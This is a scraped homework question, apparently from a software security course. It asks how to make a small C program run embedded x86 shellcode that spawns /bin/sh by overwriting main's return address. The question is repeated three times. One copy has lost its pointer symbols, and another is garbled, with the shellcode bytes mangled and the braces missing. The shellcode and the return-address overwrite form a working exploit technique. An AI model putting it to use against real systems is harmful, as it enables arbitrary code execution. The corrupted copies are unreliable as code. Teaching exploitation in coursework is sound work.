Question

Consider the following code shellcode2.c. Modify the code so that it can successfully execute the shellcode when the main module is returned. Note that you cannot remove any variable declaration. char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; int main() { int x, y, z; int ret; ret = (int )&ret + 2; (*ret) = (int)shellcode; return 0; }

          Consider the following code shellcode2.c. Modify the code so that it can successfully
execute the shellcode when the main module is returned. Note that you cannot
remove any variable declaration.
char shellcode[] = 
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
int main() {
int x, y, z;
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
return 0;
}

Consider the following code shellcode2.c. Modify the code so that it can successfully
execute the shellcode when the main module is returned. Note that you cannot
remove any variable declaration.
char shellcode[] =
"2a5e89760864607007460c000000"
"0080b0000008938d4e088d560c80"
"801000000000000008081"
"2f62696e2f736800895d3";
int main()
int x, y, z;
int *ret;
ret = (int *) ret + 2;
(*ret) = (int)shellcode;
return 0;

Added by Jose Francisco T.

Question

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